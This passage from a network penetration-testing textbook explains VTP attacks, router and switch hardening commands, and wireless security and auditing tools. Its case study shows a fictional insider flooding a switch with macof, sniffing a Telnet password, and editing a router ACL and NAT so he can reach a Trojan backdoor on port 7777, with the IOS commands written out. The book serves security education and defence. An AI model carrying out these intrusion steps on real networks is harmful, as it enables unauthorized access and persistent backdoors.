\nconfiguration revision number increments by one. When VTP Clients see that the \nconfiguration revision number is greater than what they currently have, they know to \nsynchronize with the VTP Server. Example 10-4 shows the output of the show vtp status\ncommand, which illustrates both the configuration revision number and the VTP mode of \na switch. \nBoth the Legitimate\nUser and Evil Jimmy\nRespond to ARP Request\n2\nARP Request\n“What’s the MAC Address\nof 10.0.0.55?\n1\nLegitimate User\nIP: 10.0.0.55\nMAC: 05-1C-32-00-A1-99\nEvil Jimmy\n" }, { "page_number": 364, "text": "Securing the Network 337\nA malicious hacker can use VTP to his advantage to remove all VLANs (except the default \nVLANs) on a network. This allows the malicious hacker to be on the same VLAN as every \nother user. The users might still be on separate networks, however, so the malicious hacker \nwould need to change his IP address to be on the same network as the host he wants to \nattack.\nA malicious hacker exploits VTP to his advantage by connecting into a switch and \nestablishing a trunk between his computer and the switch. (See the earlier “VLAN \nHopping” section for more on establishing a trunk.) A malicious hacker then sends a VTP \nmessage to the switch with a higher configuration revision number than the current VTP \nServer but with no VLANs configured. This causes all switches to synchronize with the \ncomputer of the malicious hacker, which removes all nondefault VLANs from their VLAN \ndatabase.\nSecuring the Network\nThis chapter has covered several attacks so far. In the sections that follow, you learn how to \nsecure your network firewalls, routers, and switches against these types of attacks. \nSecuring Firewalls\nThe Cisco PIX Firewall and Adaptive Security Appliances (ASA) use the Adaptive Security \nAlgorithm to perform stateful packet inspection. As each packet enters the firewall, the PIX \nor ASA inspects it to verify that it is a valid frame. The PIX or ASA does this by recording \neach session in a flow table, with each session entry containing source and destination IP \naddress, port numbers, and TCP protocol information. Before traffic is allowed back \nthrough the PIX or ASA, the PIX or ASA checks the session flow table to verify that an \nallowed session entry exists. \nUnlike a router, the default settings of a PIX and ASA firewall do not allow all traffic to pass \nthrough it. Interfaces are assigned a security level, and traffic that is initiated from a lower \nExample 10-4\nshow vtp status Command Output\nCat2950#show vtp status\nVTP Version : 2 \nConfiguration Revision : 4\nMaximum VLANs supported locally : 68\nNumber of existing VLANs : 6\nVTP Operating Mode : Server\nVTP Domain Name : HackMyNetwork\nVTP Pruning Mode : Enabled\nVTP V2 Mode : Disabled\nVTP Traps Generation : Disabled \nMD5 digest : 0x3D 0x02 0xD4 0x3A 0xC4 0x46 0xA1 0x03\nConfiguration last modified by 10.1.1.40 at 5-4-02 22:25: \n" }, { "page_number": 365, "text": "338\nChapter 10: Attacking the Network\nsecurity level is not allowed to access networks that are connected to an interface with a \nhigher security level. \nYou should configure your firewall to allow only the minimal number of ports necessary for \noperation. If you need traffic from a lower security level interface to access a higher security \nlevel interface, you can create an ACL to allow the particular ports to be unfiltered. \nSecuring Routers\nAs with the Cisco PIX Firewall and Cisco ASA, you should use ACLs to allow only \nauthorized traffic through your router. In addition to ACLs, you can take other steps to \nprotect yourself against the types of attacks mentioned in this chapter, as described in the \nsections that follow. \nDisabling CDP \nIf you do not need the ability to collect the Layer 3 address, platform, or IOS version of \nneighboring devices, you can safely disable CDP on your routers and switches. The two \ncommands you can use to disable CDP on your router are as follows:\n•\nRouter(config)#no cdp run—Disables CDP globally on all interfaces\n•\nRouter(config-if)#no cdp enable—Disables CDP on a particular interface\nIf you are using CDP internally, then at a minimum you should disable it on the outbound \ninterface. If you do not require CDP internally, you can safely disable it globally.\nDisabling or Restricting the HTTP Service\nYou should avoid using the HTTP service to manage your router because of the inherent \nsecurity risks with it. Instead, use the command-line interface (CLI) to configure your \nrouter. To disable the HTTP service, enter the following command:\nRouter(config)#no ip http server\nIf you prefer the HTTP service and do not feel comfortable with the CLI, you should restrict \naccess to the router through the use of an ACL. For example, the following commands \nrestrict HTTP access to a router from all hosts except 10.0.0.5.\nRouter(config)#access-list 1 permit host 10.0.0.5\nRouter(config)#ip http server 1\nSecuring Router Passwords\nNever store your enable password in clear text. At a minimum, you should encrypt it either \nby using the enable secret or service password-encryption command. As you read earlier, \nthough, these commands do little to protect you against password crackers if a malicious \nhacker is able to get the password hash. \n" }, { "page_number": 366, "text": "Securing the Network 339\nA better option is to use AAA security and authenticate through either a RADIUS or \nTACACS+ server. The following example enables AAA with the aaa new-model \ncommand and shows how to configure your router to authenticate to a TACACS+ server at \nthe address of 10.0.0.10:\nRouter(config)#aaa new-model\nRouter(config)#aaa authentication login default tacacs+\nRouter(config)#tacacs-server host 10.0.0.5\nEnabling Authentication for Routing Protocols\nYou should also enable authentication for your routing protocols. Routing protocols that \nsupport authentication are as follows:\n•\nRIP Version 2\n•\nEIGRP\n•\nOSPF\n•\nIS-IS\n•\nBGP\nRIP Authentication\nTo configure authentication in RIP, first create a key chain with your password. The \nfollowing example shows the creation of a key chain named MYCHAIN with a password \nof cisco.\nRouter(config)#key chain MYCHAIN\nRouter(config-keychain)#key 1\nRouter(config-keychain-key)#key-string cisco\nNext, associate the key chain you created with each interface running RIP and enable MD5 \nauthentication:\nRouter(config)#interface fastethernet 0/0\nRouter(config-if)#ip rip authentication key-chain MYCHAIN\nRouter(config-if)#ip rip authentication mode MD5\nRouter(config)#interface serial 0/0\nRouter(config-if)#ip rip authentication key-chain MYCHAIN\nRouter(config-if)#ip rip authentication mode MD5\nEIGRP Authentication\nThe process for EIGRP authentication is similar to that for RIP authentication. First, create \nyour key chain:\nRouter(config)#key chain MYCHAIN\nRouter(config-keychain)#key 1\nRouter(config-keychain-key)#key-string cisco\n" }, { "page_number": 367, "text": "340\nChapter 10: Attacking the Network\nNext, go on each interface and associate your key chain with your EIGRP autonomous \nsystem number. Do not forget to also enable MD5 authentication:\nRouter(config)#interface fastethernet 0/0\nRouter(config-if)#ip authentication key-chain eigrp 1 MYCHAIN\nRouter(config-if)#ip authentication mode eigrp 1 md5\nOSPF Authentication\nOSPF also supports authentication. You should configure OSPF MD5 authentication on \neach interface. To do so, assign a key to each link, along with a password. Note that both \nthe key number and password (key) must match among all neighbors on a segment. The \nfollowing command enables MD5 authentication on an interface with key 1 and a password \nof cisco.\nRouter(config-if)#ip ospf message-digest-key 1 md5 cisco\nIS-IS Authentication\nIS-IS provides hierarchical routing through the use of level 1 and level 2 routing. Level 1 \narea routing is routing to end systems (ES), whereas level 2 area routing is routing across \nyour backbone. IS-IS supports level 1 and level 2 authentication on an interface and level 1 \narea and level 2 domain passwords. Passwords on an interface affect routers that are \nconnected directly to each other; domain passwords must match throughout the entire area \n(either level 1 or level 2).\nTo configure IS-IS authentication, go onto each interface and enter the isis password\ncommand. The following command enables level-1 authentication with the password of \ncisco.\nRouter(config-if)#isis password cisco level-1\nTo configure a single password for an entire area, use the area-password command under \nthe IS-IS routing subconfiguration mode.\nRouter(config-router)#area-password cisco\nTo configure a level-2 domain password, use the domain-password command in the IS-IS \nrouter subconfiguration mode:\nRouter(config-router)#domain-password cisco\nBGP Authentication\nIf you are running BGP, you can configure password authentication, too. With BGP, \npassword authentication is simple and is configured on a per-neighbor basis. The following \ncommand configures authentication with a BGP peer at 10.0.0.100 using a password of \ncisco.\nRouter(config-router)#neighbor 10.0.0.100 password cisco\n" }, { "page_number": 368, "text": "Securing the Network 341\nSecuring Switches\nThis chapter mentioned the following switch-related attacks:\n•\nVLAN hopping\n•\nSpanning Tree attacks\n•\nMAC table flooding \n•\nARP attacks\n•\nVTP attacks\nThe sections that follow cover how to secure your network against these attacks.\nSecuring Against VLAN Hopping\nVLAN hopping relies on DTP. If a port should never be a trunk port, you should manually \nconfigure it to be an access port with the following command:\nSwitch(config-if)#switchport mode access\nIf the port is to be a trunk port, you should set it to nonegotiate and manually define which \nVLANs are allowed across the trunk. You can accomplish this with the following \ncommands:\nSwitch(config-if)#switchport mode nonegotiate\nSwitch(config-if)#switchport trunk allowed vlans [vlan range]\nSecuring Against Spanning Tree Attacks\nTo prevent a malicious hacker from plugging into your switch and changing the root bridge \non your network, you should implement BPDU Guard. BPDU Guard shuts down any \naccess port that is configured with PortFast should it hear any BPDU messages. BPDU \nGuard is configured with the following global configuration command:\nSwitch(config)#spanning-tree portfast bpduguard\nSecuring Against MAC Table Flooding and ARP Attacks\nMAC table flooding and ARP attacks can be stopped through port security. With port \nsecurity, only defined MAC addresses are allowed to use the interface. Should a MAC \naddress enter a port that is not authorized, the port shuts down.\nConfiguring port security is a two-step process: \nStep 1\nDefine what MAC address is allowed on a port. \nTo statically map a MAC address to an interface and VLAN, use the mac\naddress-table static command. The following command maps the MAC \naddress of 09-00-0D-31-00-5F to VLAN 4 on interface fastethernet0/0: \nSwitch(config)#mac address-table static 09-00-0D-31-00-5F vlan 4 \ninterface fastethernet 0/0\n" }, { "page_number": 369, "text": "342\nChapter 10: Attacking the Network\nStep 2\nEnable port security and define what happens if another MAC address \nattempts to use the port. \nYou can accomplish this with the switchport port-security global \nconfiguration command, as follows:\nSwitch(config)#switchport port-security violation shutdown\nSecuring Against VTP Attacks\nYou have two options to prevent VTP attacks:\n•\nDisable VTP\n•\nConfigure VTP passwords\nVTP provides convenience of management. If you can live without this added convenience, \nyou can disable VTP by placing the switch in VTP transparent mode, as demonstrated with \nthe following command:\nSwitch#vlan database\nSwitch(vlan)#vtp transparent\nIf you do need VTP, disabling it is not an option. Instead, configure MD5 passwords. The \nfollowing example configures a switch to use the password of cisco:\nSwitch(vlan)#vtp password cisco\nNOTE\nFor more information on VTP, consult CCSP CSI Exam Certification Guide, 2nd Edition or \nCCSP Self Study: Securing Cisco IOS Networks (SECUR), both from Cisco Press. \nCase Study\nIn this case study, Evil Jimmy is a contractor for a fictitious company called Little Company \nNetwork (LCN). At LCN, Evil Jimmy wants to be able to access the network from home. \nHe has installed the Trojan Tini on a server that operates on TCP port 7777, but the router \nis not allowing traffic on that port to pass through into the network. Evil Jimmy realizes that \nhe must gain access to the router and change the ACL so that port 7777 is allowed through \nthe router. Also, he must configure a static NAT configuration so that he can access his PC \nfrom outside the LCN network. Figure 10-8 shows a network diagram of the LCN network.\nNOTE\nFor more on Tini and other Trojans, see Chapter 12, “Using Trojans and Backdoor \nApplications.”\n" }, { "page_number": 370, "text": "Case Study\n343\nFigure 10-8\nLCN Network\nEvil Jimmy knows that to gain access to the router, he must get the password. He knows \nthat the network administrator frequently Telnets into the router. Because Telnet is sent \nclear text, all Evil Jimmy has to do is sniff the traffic to see the password. \nFigure 10-9\nMacof Flooding\nInside Global Range: 200.100.50.26-30\nInside Local Range: 192.168.100.0/24\n“Evil Jimmy”\nHome Computer\nLCNRouter\nEth0:192.168.100.12\nS0: 200.100.50.25\nLCNSwitch\n“Evil Jimmy”\n192.168.100.150\nInternet\n" }, { "page_number": 371, "text": "344\nChapter 10: Attacking the Network\nUnfortunately for Evil Jimmy, he cannot just turn on a network monitor application and \ncapture the password because a switch is in use. To see the traffic going to the router, he \nfirst floods the switch with MAC addresses. By filling up the MAC table, he forces the \nswitch to send traffic out all ports. With traffic being sent out all ports, Evil Jimmy can sniff \nthe Telnet traffic going to the router.\nEvil Jimmy launches macof from a Linux command line to flood the switch with MAC \naddresses. Figure 10-9 shows macof in action as thousands of MAC addresses are sent to \nthe switch.\nNow Evil Jimmy sits back and monitors the traffic using Ethereal, a free network monitor \nutility. After a while, he notices Telnet traffic to the router (192.168.100.12). Ethereal \nreveals the output shown in Figure 10-10, which shows the Telnet password and enable \npassword as LCN123. \nFigure 10-10\nLCN Network Telnet/Enable Password Compromised\n" }, { "page_number": 372, "text": "Case Study\n345\nNext, Evil Jimmy uses these passwords to log onto the router and examine the current \naccess lists on the outgoing interface, serial 0, as demonstrated in Example 10-5. (Relevant \nportions are highlighted.)\nEvil Jimmy sees that access-list 100 is used on the serial 0 interface to filter traffic coming \ninbound. He adds a line to this access list so that TCP port 7777, the port used by the Tini \nbackdoor Trojan, is also allowed through, as demonstrated in Example 10-6. \nNext, Evil Jimmy needs to change the NAT configuration. Currently, the router is using \ndynamic NAT to translate the entire 192.168.100.0/24 network to the global pool of \n200.100.50.26–200.100.50.30. The problem that Evil Jimmy faces is that he will never \nknow what destination address he should use at home to access his computer on the inside \nExample 10-5\nEvil Jimmy Dissects the Access Lists\nC:\\telnet 192.168.100.12\nAuthorized Use Only\nUser Access Verification\nPassword:\nLCNRouter>enable\nPassword:\nLCNRouter#show access-lists\nStandard IP access list INSIDE_LOCAL\n permit 192.168.100.0\nExtended IP access list 100\n permit tcp any any eq smtp\n permit tcp any any eq domain\n permit tcp any any eq www\n permit tcp any any eq 443\n permit tcp any any eq ftp-data\n permit tcp any any eq ftp\nLCNRouter#show ip interface serial 0\nSerial0 is administratively down, line protocol is down\n Internet address is 200.100.50.25/24\n Broadcast address is 255.255.255.255\n Address determined by setup command\n MTU is 1500 bytes\n Helper address is not set\n Directed broadcast forwarding is disabled\n Outgoing access list is not set\n Inbound access list is 100\n……\nExample 10-6\nEvil Jimmy Modifies the Access List to Permit His Trojan\nLCNRouter#configure terminal\nEnter configuration commands, one per line. End with CNTL/Z.\nLCNRouter(config)#access-list 100 permit tcp any any eq 7777\n" }, { "page_number": 373, "text": "346\nChapter 10: Attacking the Network\nof the LCN network. He needs to configure a static NAT translation for his computer, while \nallowing dynamic NAT for the rest of the network. \nFirst, Evil Jimmy looks at the existing configuration, as displayed in Example 10-7. (Only \nthe relevant portions are shown.)\nEvil Jimmy configures a static NAT translation for his computer (192.168.100.150). He \nmakes sure to modify the existing inside source list called INSIDE_LOCAL to deny his \ncomputer; this prevents his computer from being used for dynamic NAT. He translates his \ninside local address to the public address of 200.100.50.26 and changes the inside global \npool called LCNPool to no longer use the address of 200.100.50.26, as demonstrated in \nExample 10-8.\nExample 10-7\nReconnaissance on the LCN NAT Configuration\ninterface Ethernet0\n ip address 192.168.100.12 255.255.255.0\n ip nat inside\n!\ninterface Serial0\n ip address 200.100.50.25 255.255.255.0\n ip access-group 100 in\n ip nat outside\n no fair-queue\n!\nip nat pool LCNPool 200.100.50.26 200.100.50.30 prefix-length 24\nip nat inside source list INSIDE_LOCAL pool LCNPool overload\nip classless\nip access-list standard INSIDE_LOCAL\n permit 192.168.100.0\nExample 10-8\nEvil Jimmy Configures a Static NAT Translation to Provide Remote Access to the LCN Network\nLCNRouter(config)#ip access-list standard INSIDE_LOCAL\n! First remove the existing statement\nLCNRouter(config-std-nacl)#no permit 192.168.100.0\n! Deny Evil Jimmy’s computer from being used in the dynamic NAT configuration\nLCNRouter(config-std-nacl)#deny host 192.168.100.150\n! Add the rest of the network again so that it will be used in the dynamic NAT \nconfiguration\nLCNRouter(config-std-nacl)#permit 192.168.100.0\nLCNRouter(config-std-nacl)#exit\n! Configure static NAT\nLCNRouter(config)#ip nat inside source static 192.168.100.150 200.100.50.26\n! Change the current pool to no longer use the 200.100.50.26 address \nLCNRouter(config)#no ip nat pool LCNPool\nLCNRouter(config)#ip nat pool LCNPool 200.100.50.27 200.100.50.30 prefix-length 24\n" }, { "page_number": 374, "text": "Summary 347\nTIP\nThis case study assumes a working knowledge of configuring Network Address Translation \n(NAT). For more information on configuring NAT, see the Cisco Technical Support and \nDocumentation website on the subject at http://www.cisco.com/en/US/tech/tk648/tk361/\ntk438/tsd_technology_support_sub-protocol_home.html.\nThat night, Evil Jimmy tries to access his computer from home. From a MS-DOS command \nshell, he Telnets to TCP port 7777, the port used by the Tini Trojan: \nC:\\telnet 200.100.50.26 7777\nConnecting To 200.100.50.26…\nC:\\\nIt worked! A failure would have reported a Connection Failed message; instead, he is \npresented with a command prompt on his computer within the LCN network. Evil Jimmy \nhas successfully created a means to remotely access the inside of the LCN network.\nSummary\nIn this chapter, you learned that protecting your network is about more than just securing \nyour servers and workstations. You also need to protect your environment against attacks \nthat target your firewalls, routers, and switches. \nYou also learned that although firewalls and IDS devices are a valuable asset to a network, \nmalicious hackers can launch an attack that avoids detection. \nNevertheless, some countermeasures are effective at stopping most of these attacks. This \nchapter gave you those steps necessary to guard yourself against these common attacks. \n" }, { "page_number": 375, "text": "“It’s as BAD as you think, and they ARE out to get you!”\n—Bumper sticker\n" }, { "page_number": 376, "text": "C H A P T E R 11\nScanning and Penetrating \nWireless Networks\nOn April 7, 2005, three men were convicted of hacking into the wireless network of a \nLowe’s home improvement store and stealing credit card information from customers. The \nattack was launched from the parking lot of a Lowe’s store in Michigan, where the three \nmen broke into the store’s wireless network, which had connections into the main database \nin North Carolina. \nWhat these three men accomplished is becoming a common news headline as more \nmalicious hackers are discovering how easy it is to break into wireless networks. Securing \nwireless networks is not an easy task. Although wireless networking provides the benefits \nof easy mobility and installation, it makes it easy for anyone sitting in a car outside a \nbuilding to gain access to a corporate network.\nIn this chapter, you will discover the challenges with securing a wireless network by \nexamining the security solutions and tools used to audit and protect wireless environments. \nThis chapter discusses how to detect and prevent wireless attacks in your environment and \nconcludes with a case study showing you just how easy it is to penetrate wireless networks.\nHistory of Wireless Networks\nWireless networking first became popular among the military. They needed a means of \nsecure communication without the use of wires, such as between airplanes or on land in \ncombat situations, where it is difficult to lay wire over long distances in a short amount of \ntime. As the cost of wireless technologies decreased, corporations began looking into the \nuse of wireless networking as alternatives to traditional wired infrastructures.\nThe wireless technologies of today are defined by the IEEE. The original wireless standard \nis IEEE 802.11. When you think about modern wireless technologies used in corporations \nand home networks today, three IEEE standards come to mind:\n•\n802.11a\n•\n802.11b\n•\n802.11g\n" }, { "page_number": 377, "text": "350\nChapter 11: Scanning and Penetrating Wireless Networks\nThe first to be implemented was 802.11b. 802.11b defines Direct Sequence Spread \nSpectrum (DSSS) wireless networking at speeds of 1, 2, 5.5, and 11 Mbps, with 11 Mbps \nbeing the most common. 802.11b networks operate at 2.4 GHz.\nIn contrast, 802.11a networks operate in the 5-GHz band. 802.11a is much faster than \n802.11b, operating up to 54 Mbps.\nThe third standard, 802.11g, is quickly becoming the de-facto standard in most \nenvironments today. 802.11g provides the best of 802.11a and 802.11b. Similar to 802.11a, \nthis standard specifies rates up to 54 Mbps. However, like 802.11b, this standard operates \nin the 2.4-GHz band. Because of this, 802.11g is backward compatible with 802.11b, \nmaking it easy for existing 802.11b networks to upgrade.\nNOTE\nAs a penetration tester, you should be aware of these different types of wireless networks. \nFor example, if you are testing against an 802.11b network, you should ensure that your \nequipment and software are tailored to test against 802.11b networks. Because 802.11g is \nbackward compatible, you could use 802.11b or 802.11g equipment in your testing. Be \naware that not all software tests against all three of these common standards.\nAntennas and Access Points\nEssential to any wireless network is the proper acquisition and placement of wireless \nantennas. Wireless networks today use three types of antennas:\n•\nOmni-directional—Also known as dipole antennas, omni-directional antennas are \nthe most common. Omni-directional antennas radiate their energy equally in all \ndirections. If you want to go greater distances, you can use a high-gain, omni-\ndirectional antenna, which offers greater horizontal coverage at the sacrifice of \nvertical coverage. High-gain omni-directional antennas provide coverage at right \nangles to the antennas. If you can mount the access point (AP) near the ceiling and tilt \nthe antenna at a 45-degree angle, you can cover an entire room. \n•\nSemi-directional—Used when you need short or range bridging, such as between \ntwo buildings in close proximity to each other. These antennas direct their energy \nprimarily in one general direction. Yagi, patch, and panel antennas are all types of \nsemi-directional antennas.\n•\nHighly directional—Not used by client machines but rather for point-to-point \nbridges. These antennas can go long distances (up to 25 miles, so they are good for \nbridging buildings together). Because of the strength of these antennas, they are \nsometimes used to penetrate walls that other antennas are unable to. The challenge of \nthese antennas is that they must be accurately positioned to provide a line-of-sight link \nbetween both antennas.\n" }, { "page_number": 378, "text": "Wireless Security Technologies 351\nOmni-directional antennas are analogous to a light bulb in a house, providing a small range \nof light equally in all directions. Semi-directional antennas are like spotlights in that they \ngenerally spread a light in a single direction. Finally, highly directional antennas are like \nsearchlights, offering a strong beam of light in a single direction. \nWireless Security Technologies\nAlthough wireless networking provides great ease in setting up networked communications \nand offers mobility among users, it comes at a risk of security. Malicious hackers can easily \ndetect wireless networks and gain access to your corporate network. Although a few \nmethods are in place to enhance security, most are weak and easily broken. Therefore, you \nshould keep your wireless network separate from your critical network and only use it for \nnonsensitive transmissions, such as Internet access. \nService Set Identifiers (SSIDs)\nWireless networks identify themselves through the use of Service Set Identifiers (SSIDs). \nSSIDs are like shared passwords used between client machines and APs. When performing \na penetration test, you should be on the lookout for the following:\n•\nBlank SSID\n•\n“any” SSID/Broadcast SSID\n•\nDefault SSID\nSome of the most common mistakes that administrators make are the use of broadcasting \nSSIDs and default SSIDs. \nBroadcasting your SSID means that your AP periodically broadcasts its SSID to clients \nwho are listening. You should disable SSID broadcasts and force clients to manually enter \nthe SSID to gain access to the network. \nDefault SSIDs are another mistake commonly seen. Here, wireless administrators fail to \nchange the SSID from the factory default. For example, Linksys wireless routers use the \ndefault SSID of Linksys and are configured with the IP address of 192.168.1.1. If you see \nthe Linksys SSID on a wireless network, you can most likely find the AP at the 192.168.1.1 \nIP address.\nSimply changing the SSID and turning off the broadcasting option is not enough to secure \nyour wireless network. Active scanning tools such as NetStumbler can detect SSIDs even \nif you take these security measures. Nevertheless, you should change the SSID from the \ndefault and disable broadcasting to provide some security protection, however minor, to \nyour wireless network.\n" }, { "page_number": 379, "text": "352\nChapter 11: Scanning and Penetrating Wireless Networks\nWired Equivalent Privacy (WEP)\nWhen IEEE established the wireless 802.11 standards, it did not forget about security. \nIncluded in the 802.11b standard is Wired Equivalent Privacy (WEP). WEP uses a secret \nkey that is shared between a client and an AP. This secret key is used with the RC4 \nalgorithm to encrypt all communication between clients and the APs.\nWEP can operate with 40-bit encryption (64-bit WEP) or 104-bit encryption (128-bit \nWEP). The stronger the encryption, the more secure your network. This comes at the cost \nof speed, however. \nThe problem with WEP is its short initialization vector (IV) value, which makes it easy to \ncrack. The IV makes up the first 24 bits of the WEP key. Many implementations start with \nusing IV values of zero (0) and increment by one for each packet sent. 24 bits equates to \n16,777,216 values, so after 16 million packets are sent, the IV returns to a value of 0. This \npredictable behavior of the first 24 bits of the WEP key makes cracking the IV, and \nsubsequently cracking the WEP key, easy. \nAlso, many environments do not change their WEP keys on a regular basis, making it easier \nfor malicious hackers to maintain access. \nYou can easily crack WEP keys using tools such as WEPCrack and AirSnort, discussed \nlater in this chapter. \nMAC Filtering\nIn small networks, wireless administrators might restrict access to specific MAC addresses. \nThe administrator can configure a filter on the AP to allow only certain MAC addresses to \nuse a wireless network.\nAlthough such filtering might provide a mild deterrent to malicious hackers, this security \nmeasure is easily circumvented by spoofing MAC addresses. Using a packet sniffer such as \nKismet (discussed later in this chapter), a malicious hacker can determine the MAC \naddresses used on a network. By spoofing a MAC address, he can gain access to the \nwireless network.\n802.1x Port Security\nBecause it is so easy to spoof a MAC address, IEEE devised another solution to provide \nadded security through network admission control. Although you can use 802.1x on many \ndifferent types of networks, it has become popular in wireless environments. The IEEE \n802.1x port access control standard operates like a bouncer for your AP, deciding who gets \naccess into your network. \n802.1x uses the Extensible Authentication Protocol over Wireless (EAPOW) as a \nmechanism for message exchange between a RADIUS server and a client. Before a client \ncan access a wireless network, it must authenticate through a RADIUS server. \n" }, { "page_number": 380, "text": "War Driving 353\nAuthentication options include everything from a simple username and password to more \nsecure options such as a digital signature.\nAlthough 802.1x addresses authenticity concerns for your network, there is a new version \nof 802.1x, called 802.1aa, that also addresses confidentiality and integrity. 802.1aa provides \na four-way handshake to secure WEP key exchange. This allows for the use of per-session \nkeys instead of static keys used by all clients. The key exchange mechanism also makes \nman-in-the-middle (MITM) attacks more difficult. 802.1x is enough to deter most \nmalicious hackers, but for the strongest security, look at IP security (IPSec).\nIPSec\nProbably the best option for securing your wireless network is IPSec. IPSec provides data \nintegrity through hashing algorithms such as MD5 and SHA1, and data confidentiality \nthrough encryption algorithms such as DES and 3DES. Both the clients and the APs need \nto be configured for IPSec. IPSec might slow down your wireless network, but it remains \nthe best option for securing a wireless environment.\nNOTE\nA new form of wireless, called Type-1 wireless, is emerging to provide strong security. \nType-1 wireless is a National Security Agency (NSA) certified standard using Type 1 \nencryption. At the time of this writing, Type-1 is only available for the U.S. military, \nalthough plans are in the works by Harris Corporation to provide a modified form of this \ntechnology for use by the public sector.\nWar Driving\nMany people think of computer hacking as something done within the confines of \nsomeone’s basement with several powerful computers. This is far from the truth. Now, with \nthe advent of wireless LANs and the ease of breaking into them, war driving is popular. In \nwar driving, a malicious hacker is armed with a laptop and a powerful antenna. While \ndriving throughout a city, a malicious hacker can pick up and sniff wireless networks. \nVariants of war driving include war walking, where a malicious hacker has a handheld \ndevice with wireless capabilities, war pedaling, where a malicious hacker uses a bicycle \ninstead of an automobile, and war flying, where a malicious hacker uses an airplane to scout \nout wireless networks. War flying is also sometimes used by security auditors to scan large \norganizations and military bases to detect vulnerable wireless networks. In some cities, \nthere is a rise in the use of war sailing, where people are using boats and going up and down \na river or coastline searching for wireless networks.\nThe next section covers many of the popular tools used by penetration testers and malicious \nhackers when attempting to access wireless networks.\n" }, { "page_number": 381, "text": "354\nChapter 11: Scanning and Penetrating Wireless Networks\nTools\nYou can use several tools when performing penetration tests against wireless networks. \nThis section covers the following tools:\n•\nNetStumbler\n•\nStumbVerter\n•\nDStumbler\n•\nKismet\n•\nGPSMap\n•\nAiroPeek NX\n•\nAirSnort\n•\nWEPCrack\nNetStumbler\nNetStumbler (http://stumbler.net) is probably the most widely used wireless auditing tool \nby penetration testers and malicious hackers alike. NetStumbler runs on Windows and \ndetects with 802.11a, 802.11b, and 802.11g networks. \nNetStumbler detects wireless networks and shows their signal strength and whether \nencryption is being used. This is helpful in discovering wireless networks for further \npenetration testing, detecting overlapping wireless networks from surrounding companies, \nand detecting unauthorized rogue APs in your organization. Figure 11-1 shows \nNetStumbler having detected two wireless SSIDs.\nNetStumbler is an active beacon scanner. It actively sends connection requests to all \nlistening APs, even if they are not broadcasting their SSID. Access points subsequently \nrespond to the requests with their SSID. \nStumbVerter\nStumbVerter (http://www.sonar-security.com) works in conjunction with NetStumbler and \nMicrosoft MapPoint to provide a map of discovered wireless networks. StumbVerter \nimports the summary files of NetStumbler into Microsoft MapPoint 2004 and creates icons \non a map of all discovered APs. This utility is helpful in pinpointing unauthorized rogue \nAPs on your network.\n" }, { "page_number": 382, "text": "Tools\n355\nFigure 11-1 NetStumbler\nDStumbler\nDStumbler (http://www.dachb0den.com) is similar to NetStumbler except that it runs on \nBSD platforms. It has many of the same options as NetStumbler including GPS support, \ncolored graphs, maximum supported rate detection, and beaconing interval. \nAlthough DStumbler is a graphical program like NetStumbler, it does offer several \ncommand-line options:\nusage: dstumbler device [-d] [-osn] [-m int] [-g gps device] [-l logfile]\n-d: run dstumbler without specifying a wireless device\n-o: specify the use of a prism2 card in monitor mode\n-s: disable scan mode on the card, instead do old style stat polling\n-n: use basic ascii characters for limited terminal fonts\n-m: randomly set mac address at specified interval or 0 for startup\n-g: specify gps device to use\n-l: specify logfile to use for realtime logging\nKismet\nKismet (http://www.kismetwireless.net) is a Linux and BSD-based 802.11b wireless \nsniffer that has the capability to separate sniffed traffic by wireless SSID. \n" }, { "page_number": 383, "text": "356\nChapter 11: Scanning and Penetrating Wireless Networks\nKismet requires an 802.11b wireless adapter that is capable of entering into RF monitoring \nmode. After the wireless adapter is in RF monitoring mode, it cannot associate itself with \na wireless network. Therefore, when Kismet is running, you do not have access to the \nwireless network for other purposes and can only detect and sniff traffic on wireless \nnetworks.\nUnlike NetStumbler, Kismet is a passive scanner. This means it does not actively probe for \nnetworks but instead listens passively for wireless traffic to discover SSIDs. If the wireless \nnetwork has no traffic, Kismet does not detect its presence.\nFigure 11-2 shows a screenshot of Kismet.\nFigure 11-2 Kismet\nGPSMap\nGPSMap is a free program included with Kismet that maps out all APs discovered by \nKismet and their respective ranges. By graphing out the ranges of an AP, you can often \ndetect which wireless networks are home-based networks, which often have short ranges, \nand which are used by organizations, which often have longer ranges. \n" }, { "page_number": 384, "text": "Detecting Wireless Attacks 357\nAiroPeek NX\nAiroPeek NX (http://www.wildpackets.com/products/airopeek_nx) is a commercial \nwireless LAN analysis tool that runs on Windows platforms. AiroPeek captures traffic and \nprovides analysis reports on your wireless LAN. Like NetStumbler, AiroPeek discovers \nwireless SSIDs, their channel number, the MAC address of the AP, and whether encryption \nis being used. AiroPeek goes beyond NetStumbler, however, in its capability to capture \ntraffic and, using its Peer Map view, graphs out the amount and type of traffic present on a \nwireless network.\nAiroPeek NX is an excellent solution for penetration testers because of its security audit features. \nIt allows you to define a template to look for certain criteria, such as unauthorized protocols or \nrogue APs, during a security audit. It is also popular among penetration testers for its reporting \nfeatures that are not typically found among non-commercial open-source equivalents.\nAirSnort\nAs discussed earlier, many companies seek to secure their wireless networks through the \nuse of WEP. However, WEP uses a weak initial vector (IV) in its algorithm and is easily \ncracked after enough packets have been gathered. \nAirSnort (http://airsnort.shmoo.com) is a Linux utility that can crack WEP keys. This tool \nrequires your wireless adapter to be in RF monitoring mode. It passively captures packets \nand then attempts to crack the encryption key. With 5 to 10 million packets captured, \nAirSnort can usually crack the WEP password in less than a second.\nWEPCrack\nWEPCrack (http://wepcrack.sourceforge.net) is similar to AirSnort in that it cracks WEP \nkeys. WEPCrack has been around longer than AirSnort but is not as popular. WEPCrack is \na Perl-based cracking program that requires a wireless adapter with the Prism chipset.\n Detecting Wireless Attacks\nThe convenience of WLANs is also often their downfall. With the only “physical” network \nlayer being the air itself, the risks are obvious.\nUnprotected WLANs\nA poorly secured wireless network is easy picking for even the least experienced hacker. If \nno authentication is required, any user in the vicinity of that AP can detect and associate \nwith its WLAN. You can detect this type of attack only through monitoring network traffic, \nand even then, it is effective only if you can accurately identify legitimate connections to \nyour network.\n" }, { "page_number": 385, "text": "358\nChapter 11: Scanning and Penetrating Wireless Networks\nDoS Attacks\nAn attacker can accomplish a denial-of-service (DoS) attack against a wireless device in \nvarious ways, including a deauthentication attack, as illustrated in Figure 11-3.\nFigure 11-3 Deauthentication Attack\nIn this attack, the attacker sends a deauthenticate frame to the AP, causing the client to \ndeauthenticate from the AP and consequently lose its connection. Similar types of attack \ninclude the authentication and association flood attacks which, as their names suggest, \nflood the AP with requests and prevent genuine requests from being serviced.\nAttacks of this type exhibit characteristic signatures and can be detected easily 